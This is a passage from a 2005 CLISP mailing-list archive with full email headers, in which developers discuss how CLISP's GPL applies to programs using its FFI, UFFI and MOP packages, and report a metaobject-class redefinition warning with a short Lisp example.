points)? thx, kenny From sds@gnu.org Thu Jun 09 10:34:25 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgQvB-0005iL-Jl for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 10:34:25 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DgQv9-0002a9-3N for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 10:34:25 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.171]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j59HYAfq016440; Thu, 9 Jun 2005 13:34:11 -0400 (EDT) To: Kenny Tilton Cc: Bruno Haible , clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42A87B09.7010902@nyc.rr.com> (Kenny Tilton's message of "Thu, 09 Jun 2005 13:23:21 -0400") References: <42A73D25.5060601@nyc.rr.com> <200506091433.52062.bruno@clisp.org> <42A87B09.7010902@nyc.rr.com> Mail-Followup-To: Kenny Tilton , Bruno Haible , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: License Question in re FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 10:37:53 2005 X-Original-Date: Thu, 09 Jun 2005 13:33:40 -0400 > * Kenny Tilton [2005-06-09 13:23:21 -0400]: > > I guess you know about UFFI. That does not support CLisp (I gather) > because of this concern over GPL contagion. This is news to me. Are you sure this is the case?! I always thought that the problem was technical (UFFI is very low level, CLISP FFI is rather high-level, and nobody has stood up and taken up the task to add the missing low-level functionality) rather than legal. -- Sam Steingold (http://www.podval.org/~sds) running w2k Sinners can repent, but stupid is forever. From ktilton@nyc.rr.com Thu Jun 09 10:49:29 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgR9l-0006et-E6 for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 10:49:29 -0700 Received: from ms-smtp-01-smtplb.rdc-nyc.rr.com ([24.29.109.5] helo=ms-smtp-01.rdc-nyc.rr.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DgR9j-0004t0-8v for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 10:49:29 -0700 Received: from nyc.rr.com (cpe-66-65-182-98.nyc.res.rr.com [66.65.182.98]) by ms-smtp-01.rdc-nyc.rr.com (8.12.10/8.12.7) with ESMTP id j59HnMT5015407 for ; Thu, 9 Jun 2005 13:49:24 -0400 (EDT) Message-ID: <42A8812E.20405@nyc.rr.com> From: Kenny Tilton User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42A73D25.5060601@nyc.rr.com> <200506091433.52062.bruno@clisp.org> <42A87B09.7010902@nyc.rr.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: License Question in re FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 10:51:19 2005 X-Original-Date: Thu, 09 Jun 2005 13:49:34 -0400 Sam Steingold wrote: >>* Kenny Tilton [2005-06-09 13:23:21 -0400]: >> >>I guess you know about UFFI. That does not support CLisp (I gather) >>because of this concern over GPL contagion. >> >> > >This is news to me. Are you sure this is the case?! > I am here asking because of what I saw over on the UFFI list in the past few days. But perhaps I misconstrued their specific concern, and am misrepresenting the situation. I should say no more, and refer you instead to the UFFI archives and Mr. Rosenberg. > >I always thought that the problem was technical (UFFI is very low level, >CLISP FFI is rather high-level, and nobody has stood up and taken up the >task to add the missing low-level functionality) rather than legal. > > > I do not know about low or high, but from what I can see of CLisp's new killer FFI, I wager adding CLisp support ot UFFI would be a breeze. In fact, I am on the verge of mentoring a Google Summer of Code project to do just that in part, which is also why I am here asking. thx for all the quick feedback. -- Kenny Why Lisp? http://lisp.tech.coop/RtL%20Highlight%20Film "If you plan to enter text which our system might consider to be obscene, check here to certify that you are old enough to hear the resulting output." -- Bell Labs text-to-speech interactive Web page From bruno@clisp.org Thu Jun 09 10:59:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgRJA-0007Ca-F3 for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 10:59:12 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DgRJ9-0006JO-OT for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 10:59:12 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.4/8.13.3) with ESMTP id j59Hx3DH025551; Thu, 9 Jun 2005 19:59:04 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j59Hww6J006521; Thu, 9 Jun 2005 19:58:58 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 5C2BA3BD84; Thu, 9 Jun 2005 17:57:54 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 Cc: Kenny Tilton References: <42A73D25.5060601@nyc.rr.com> <200506091433.52062.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200506091957.53349.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: License Question in re FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 11:02:21 2005 X-Original-Date: Thu, 9 Jun 2005 19:57:53 +0200 Sam Steingold wrote: > >> The rule of thumb is: is your application useful without CLISP? > >> (i.e., can it be used with other lisps?) > >> if not, it's GPL. > >> if yes, it's not. > > > > Correct. > > So, a program that relies on clocc/port or uffi is completely exempt > from all licensing requirements coming from CLISP. Not completely. Only as far as regarding the indirect use of CLISP internals through clocc/port or UFFI. If a program uses CLISP internals in a way that is not covered by one of the two exception clauses, it still falls under GPL when distributed as a "combined work" with clisp. > > But even a little more: Does your application provide more > > functionality in CLISP than in other Lisp implementations, because it > > uses the FFI package (or other CLISP internals)? If yes, then it's > > GPL. > > how about clocc/port & uffi themselves? clocc/port & uffi can stay under any GPL compatible license, as explained in http://article.gmane.org/gmane.lisp.clisp.devel/14325. > do I need to re-license clocc/port from LGPL to GPL because I use CLISP > internals there? This is not necessary. I interpret the GPL as saying that, when you distribute clocc/port as a "combined work" with CLISP, the clocc/port part will be under GPL automatically. And, of course, if you distribute it independently - for use by any Lisp implementation - it stays under the license that you have chosen. > now, supposed someone decides that a high-level FFI is better and > decides to write a HL-FFI compatibility layer based on the CLISP FFI. > so, his files will look like this: > > #+clisp > (do-external-symbols (s "FFI") (import s "HL-FFI") (export s "HL-FFI")) > > #-clisp > (defmacro def-call-out ...) > #-clisp > (defmacro def-call-in ...) > ... > > does this layer falls under GPL? According to clisp's COPYRIGHT file, it is exempt from being under GPL if and only if it runs in "a great number of Common Lisp implementations". > (suppose that the first release is incomplete, so for each non-CLISP > implementation something is missing, so under CLISP it does provide more > functionality). If the package runs only in CLISP - for whatever reasons that may be -, that's not a "great number of Common Lisp implementations", therefore the package must fall under GPL when being distributed. Bruno From bruno@clisp.org Thu Jun 09 11:20:13 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgRdU-0008J5-EM for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 11:20:12 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DgRdP-000106-Iy for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 11:20:10 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.4/8.13.3) with ESMTP id j59IK0Jb026121; Thu, 9 Jun 2005 20:20:00 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j59IJsJj007329; Thu, 9 Jun 2005 20:19:55 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 1F44D3B9BD; Thu, 9 Jun 2005 18:18:51 +0000 (UTC) From: Bruno Haible To: Kenny Tilton User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net References: <42A73D25.5060601@nyc.rr.com> <200506091433.52062.bruno@clisp.org> <42A87B09.7010902@nyc.rr.com> In-Reply-To: <42A87B09.7010902@nyc.rr.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200506092018.50094.bruno@clisp.org> X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: License Question in re FFI Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 11:24:39 2005 X-Original-Date: Thu, 9 Jun 2005 20:18:50 +0200 Kenny Tilton wrote: > Assuming UFFI continues its "leats common denominator"-only > policy (nothing gets in that does not run everywhere), are you prepared > to make a flat out statement that they are safe (so we do not need to > hire lawyers to meditate on the fine points)? Yes, such a policy, that ensures that all parts of the package work equally well in 5 different CL implementations, together with a license that is GPL- compatible (I heard UFFI's license is that), is a safe way to ensure that clisp's COPYRIGHT exception (b) will apply to programs that use the package. Bruno From bruno@clisp.org Thu Jun 09 13:32:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgThg-0000dQ-HS for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 13:32:40 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DgThf-00022O-Lc for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 13:32:40 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.4/8.13.3) with ESMTP id j59KWXZn028983; Thu, 9 Jun 2005 22:32:33 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j59KWRYY012005; Thu, 9 Jun 2005 22:32:27 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id BAC4D3B9D9; Thu, 9 Jun 2005 20:31:23 +0000 (UTC) From: Bruno Haible To: Kenny Tilton , "Hoehle, Joerg-Cyril" Subject: Re: [clisp-list] Re: License Question in re FFI User-Agent: KMail/1.5 Cc: clisp-list@lists.sourceforge.net References: <5F9130612D07074EB0A0CE7E69FD7A03049B9A76@S4DE8PSAAGS.blf.telekom.de> <42A8136F.20609@nyc.rr.com> In-Reply-To: <42A8136F.20609@nyc.rr.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200506092231.22780.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 13:34:04 2005 X-Original-Date: Thu, 9 Jun 2005 22:31:22 +0200 Kenny Tilton wrote: > Let's not forget the new MOP support, while we are talking about > changing the licensing, or we just go thru this exercise again. Thanks for the hint. We've now added the CLOS and GRAY packages (containing MOP and Gray streams, respectively) to those packages that you can use in a clisp program without forcing the GPL on the program when you distribute it. Bruno From ktilton@nyc.rr.com Thu Jun 09 22:25:30 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dgc1E-0004Vv-PD for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 22:25:24 -0700 Received: from ms-smtp-02-smtplb.rdc-nyc.rr.com ([24.29.109.6] helo=ms-smtp-02.rdc-nyc.rr.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1Dgc1C-0005ZM-As for clisp-list@lists.sourceforge.net; Thu, 09 Jun 2005 22:25:24 -0700 Received: from nyc.rr.com (cpe-66-65-182-98.nyc.res.rr.com [66.65.182.98]) by ms-smtp-02.rdc-nyc.rr.com (8.12.10/8.12.7) with ESMTP id j5A5PIIf025093 for ; Fri, 10 Jun 2005 01:25:19 -0400 (EDT) Message-ID: <42A9244A.1030504@nyc.rr.com> From: Kenny Tilton User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "clisp-list@lists.sourceforge.net" Subject: [Fwd: Re: [clisp-list] Re: License Question in re FFI] Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 TO_ADDRESS_EQ_REAL To: repeats address as real name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jun 9 22:27:16 2005 X-Original-Date: Fri, 10 Jun 2005 01:25:30 -0400 -------- Original Message -------- Subject: Re: [clisp-list] Re: License Question in re FFI Date: Fri, 10 Jun 2005 01:25:02 -0400 From: Kenny Tilton To: Bruno Haible References: <5F9130612D07074EB0A0CE7E69FD7A03049B9A76@S4DE8PSAAGS.blf.telekom.de> <42A8136F.20609@nyc.rr.com> <200506092231.22780.bruno@clisp.org> Bruno Haible wrote: >Kenny Tilton wrote: > > >>Let's not forget the new MOP support, while we are talking about >>changing the licensing, or we just go thru this exercise again. >> >> > >Thanks for the hint. We've now added the CLOS and GRAY packages (containing >MOP and Gray streams, respectively) to those packages that you can use in >a clisp program without forcing the GPL on the program when you distribute it. > Awesome. Are you listing the FFI package as well, or does that have a different status? (Sorry if I have gotten confused and asked a dumb question, which I clearly suspect. ) kt -- Kenny Why Lisp? http://lisp.tech.coop/RtL%20Highlight%20Film "If you plan to enter text which our system might consider to be obscene, check here to certify that you are old enough to hear the resulting output." -- Bell Labs text-to-speech interactive Web page From sds@gnu.org Fri Jun 10 08:04:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dgl40-0007er-Ls for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 08:04:52 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Dgl3x-0000eH-16 for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 08:04:52 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.171]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j5AF4Xgk001124; Fri, 10 Jun 2005 11:04:33 -0400 (EDT) To: Bruno Haible , clisp-list@lists.sourceforge.net Cc: Dan Corkill Mail-Copies-To: never Reply-To: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: Bruno Haible , clisp-list@lists.sourceforge.net, Dan Corkill Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] shared-initialize & "Redefining metaobject class" warning Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 10 08:07:36 2005 X-Original-Date: Fri, 10 Jun 2005 11:04:04 -0400 Bruno, it appears that the "Redefining metaobject class has no effect" warning that I complained about recently is not so innocuous as it appears to be. Consider this file: si.lisp: ;;; --------------------------------------------------------------------------- (defclass standard-event-class (standard-class) ((event-metaclass :initarg :event-metaclass :initform nil))) (defmethod shared-initialize ((class standard-event-class) slot-names &rest initargs &key) (declare (ignore slot-names initargs)) (print "Running shared-initialize") (call-next-method)) (defclass foo () () (:metaclass standard-event-class)) ;;; --------------------------------------------------------------------------- $ clisp -q -norc -c si ;; Compiling file si.lisp ... ;; Wrote file si.fas 0 errors, 0 warnings $ clisp -q -norc -i si ;; Loading file si.fas ... "Running shared-initialize" ;; Loaded file si.fas [1]> so far so good, right? now, suppose we compile and load the file in the same session: [1]> (compile-file "si.lisp") ;; Compiling file si.lisp ... ;; Wrote file si.fas 0 errors, 0 warnings #P"si.fas" ; NIL ; NIL [2]> (load "si") ;; Loading file si.fas ... WARNING: Redefining metaobject class # has no effect. ;; Loaded file si.fas T [3]> (quit) note the warning instead of the "Running shared-initialize" message. Thanks to Dan who discovered this. -- Sam Steingold (http://www.podval.org/~sds) running w2k We're too busy mopping the floor to turn off the faucet. From bruno@clisp.org Fri Jun 10 09:41:36 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgmZb-0004LN-AH for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 09:41:35 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DgmZa-0007tw-0Z for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 09:41:34 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.4/8.13.3) with ESMTP id j5AGfJ0M000594; Fri, 10 Jun 2005 18:41:19 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j5AGfEsu003432; Fri, 10 Jun 2005 18:41:14 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id BED8A3BD58; Fri, 10 Jun 2005 16:40:07 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 Cc: Dan Corkill References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200506101840.05914.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: shared-initialize & "Redefining metaobject class" warning Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 10 09:43:38 2005 X-Original-Date: Fri, 10 Jun 2005 18:40:05 +0200 Sam wrote: > it appears that the "Redefining metaobject class has no effect" warning > that I complained about recently is not so innocuous as it appears to > be. Consider this file: > si.lisp: > ;;; > --------------------------------------------------------------------------- > (defclass standard-event-class (standard-class) > ((event-metaclass :initarg :event-metaclass :initform nil))) > > (defmethod shared-initialize ((class standard-event-class) > slot-names &rest initargs &key) > (declare (ignore slot-names initargs)) > (print "Running shared-initialize") > (call-next-method)) > (defclass foo () > () > (:metaclass standard-event-class)) > ;;; > --------------------------------------------------------------------------- You are mixing two things here: 1) The redefinition of STANDARD-EVENT-CLASS. This has a warning, so that the user is aware that _IF_ he changed the definition form of this class between the first and the second LOAD, he wouldn't see an effect. 2) The redefinition of FOO. This is unrelated to what happens in 1). Here clisp notices that the form already reflects the current state of the class FOO, and that there's nothing to change about it. So, as an optimization, it doesn't call reinitialize-instance. Whether this optimization 2) is valid, or whether it should not be performed when a SHARED-INITIALIZE method has been installed, I don't know. Need to look in CLHS and MOP. Bruno From sds@gnu.org Fri Jun 10 09:58:45 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DgmqC-0004zT-SC for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 09:58:44 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DgmqB-000062-8t for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 09:58:44 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.171]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j5AGwY4I017090; Fri, 10 Jun 2005 12:58:34 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Bruno Haible Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200506101840.05914.bruno@clisp.org> (Bruno Haible's message of "Fri, 10 Jun 2005 18:40:05 +0200") References: <200506101840.05914.bruno@clisp.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Bruno Haible Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: shared-initialize & "Redefining metaobject class" warning Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jun 10 09:59:25 2005 X-Original-Date: Fri, 10 Jun 2005 12:58:04 -0400 > * Bruno Haible [2005-06-10 18:40:05 +0200]: > > Sam wrote: >> it appears that the "Redefining metaobject class has no effect" warning >> that I complained about recently is not so innocuous as it appears to >> be. Consider this file: >> si.lisp: >> ;;; >> --------------------------------------------------------------------------- >> (defclass standard-event-class (standard-class) >> ((event-metaclass :initarg :event-metaclass :initform nil))) >> >> (defmethod shared-initialize ((class standard-event-class) >> slot-names &rest initargs &key) >> (declare (ignore slot-names initargs)) >> (print "Running shared-initialize") >> (call-next-method)) >> (defclass foo () >> () >> (:metaclass standard-event-class)) >> ;;; >> --------------------------------------------------------------------------- > > You are mixing two things here: > > 1) The redefinition of STANDARD-EVENT-CLASS. This has a warning, so > that the user is aware that _IF_ he changed the definition form of > this class between the first and the second LOAD, there is only _one_ load (and one compile-file) > he wouldn't see an effect. effect where? this warning is unusual and distracting. usually a warning means that the user is doing something wrong, so when one sees a warning, the first question is: "how do I avoid it?" here the warning is unavoidable: nothing has changed, the user is doing everything correctly, it's just that CLISP is making unnecessary noise. > 2) The redefinition of FOO. This is unrelated to what happens in 1). > Here clisp notices that the form already reflects the current state of > the class FOO, and that there's nothing to change about it. So, as an > optimization, it doesn't call reinitialize-instance. but initialize-instance was not called yet at all, so what are you talking about? > Whether this optimization 2) is valid, or whether it should not be > performed when a SHARED-INITIALIZE method has been installed, I don't > know. Need to look in CLHS and MOP. this is not the issue. the issue is why was initialize-instance never called (not reinitialize-instance) -- Sam Steingold (http://www.podval.org/~sds) running w2k Every day above ground is a good day. From bruno@clisp.org Fri Jun 10 12:24:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dgp7U-0003Yw-4h for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 12:24:44 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1Dgp7S-0002f1-GL for clisp-list@lists.sourceforge.net; Fri, 10 Jun 2005 12:24:44 -0700 Received: from laposte.ilog.fr (cerbere-qfe0 [81.80.162.193]) by ftp.ilog.fr (8.13.4/8.13.3) with ESMTP id j5AJOUXK004570; Fri, 10 Jun 2005 21:24:30 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id j5AJOPSK008881; Fri, 10 Jun 2005 21:24:25 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 4869E3B9D9; Fri, 10 Jun 